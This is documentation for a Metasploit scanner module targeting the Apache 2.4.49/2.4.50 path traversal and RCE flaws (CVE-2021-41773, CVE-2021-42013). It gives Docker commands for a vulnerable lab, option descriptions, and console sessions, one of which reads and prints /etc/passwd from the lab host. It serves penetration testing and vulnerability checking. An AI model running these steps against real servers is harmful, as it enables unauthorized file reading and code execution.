Files
metasploit-gs/documentation/modules/auxiliary/scanner/http/apache_normalize_path.md
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2025-07-17 09:53:40 +01:00

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This module scans for an unauthenticated RCE vulnerability which exists in Apache version 2.4.49 (CVE-2021-41773) and 2.4.50 (CVE-2021-42013).

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root.

If files outside of the document root are not protected by "require all denied" these requests can succeed.

Additionally this flaw could leak the source of interpreted files like CGI scripts.

If CGI scripts are also enabled for these aliased paths, this could allow for remote code execution.

It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient (CVE-2021-42013).

Vulnerable Application

This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.

Make your lab

Path Traversal

docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773

--or--

docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013

Remote Code Execution

docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773

--or--

docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013

Verification Steps

  1. Start msfconsole
  2. use auxiliary/scanner/http/apache_normalize_path
  3. set RHOSTS [IP]
  4. run

Options

CVE

The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013). Default: CVE-2021-42013

DEPTH

Depth for path traversal. Default: 5

FILEPATH

The file you want to read. Default: /etc/passwd

TARGETURI

Base path. Default: /cgi-bin

Actions

CHECK_TRAVERSAL

Check the vulnerability exposure, by default.

CHECK_RCE

Check the remote code execution.

READ_FILE

Read remote file on the server.

Scenarios

Check for vulnerability

CVE-2021-42013 (by default)

msf > use auxiliary/scanner/http/apache_normalize_path
msf auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf auxiliary(scanner/http/apache_normalize_path) > setg rport 8080
rport => 8080
msf auxiliary(scanner/http/apache_normalize_path) > setg ssl false
[!] Changing the SSL option's value may require changing RPORT!
ssl => false
msf auxiliary(scanner/http/apache_normalize_path) > setg verbose true
verbose => true
msf auxiliary(scanner/http/apache_normalize_path) > run

[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013.
[*] Obtained HTTP response code 403.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/apache_normalize_path) > 

CVE-2021-41773

msf auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path
msf auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf auxiliary(scanner/http/apache_normalize_path) > setg rport 8080
rport => 8080
msf auxiliary(scanner/http/apache_normalize_path) > setg ssl false
ssl => false
msf auxiliary(scanner/http/apache_normalize_path) > setg verbose true
verbose => true
msf auxiliary(scanner/http/apache_normalize_path) > setg cve CVE-2021-41773
cve => CVE-2021-41773
msf auxiliary(scanner/http/apache_normalize_path) > run

[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-41773.
[*] Obtained HTTP response code 403.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/apache_normalize_path) >

Check for RCE

msf auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path
msf auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf auxiliary(scanner/http/apache_normalize_path) > setg rport 8080
rport => 8080
msf auxiliary(scanner/http/apache_normalize_path) > setg ssl false
ssl => false
msf auxiliary(scanner/http/apache_normalize_path) > setg verbose true
verbose => true
msf auxiliary(scanner/http/apache_normalize_path) > setg action CHECK_RCE
action => CHECK_RCE
msf auxiliary(scanner/http/apache_normalize_path) > run

[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/apache_normalize_path) > 

Read file

msf auxiliary(scanner/http/apache_normalize_path) > use auxiliary/scanner/http/apache_normalize_path
msf auxiliary(scanner/http/apache_normalize_path) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf auxiliary(scanner/http/apache_normalize_path) > setg rport 8080
rport => 8080
msf auxiliary(scanner/http/apache_normalize_path) > setg ssl false
ssl => false
msf auxiliary(scanner/http/apache_normalize_path) > setg verbose true
verbose => true
msf auxiliary(scanner/http/apache_normalize_path) > setg action READ_FILE
action => READ_FILE
msf auxiliary(scanner/http/apache_normalize_path) > run

[*] Obtained HTTP response code 200.
[+] 172.20.4.11:8080 
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

[+] File saved in: /home/mekhalleh/.msf4/loot/20211010161150_default_172.20.4.11_apache.traversal_540877.bin
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/apache_normalize_path) > 

References

  1. https://httpd.apache.org/security/vulnerabilities_24.html
  2. https://github.com/RootUp/PersonalStuff/blob/master/http-vuln-cve-2021-41773.nse
  3. https://github.com/projectdiscovery/nuclei-templates/blob/master/vulnerabilities/apache/apache-httpd-rce.yaml
  4. https://github.com/projectdiscovery/nuclei-templates/commit/9384dd235ec5107f423d930ac80055f2ce2bff74
  5. https://attackerkb.com/topics/1RltOPCYqE/cve-2021-41773/rapid7-analysis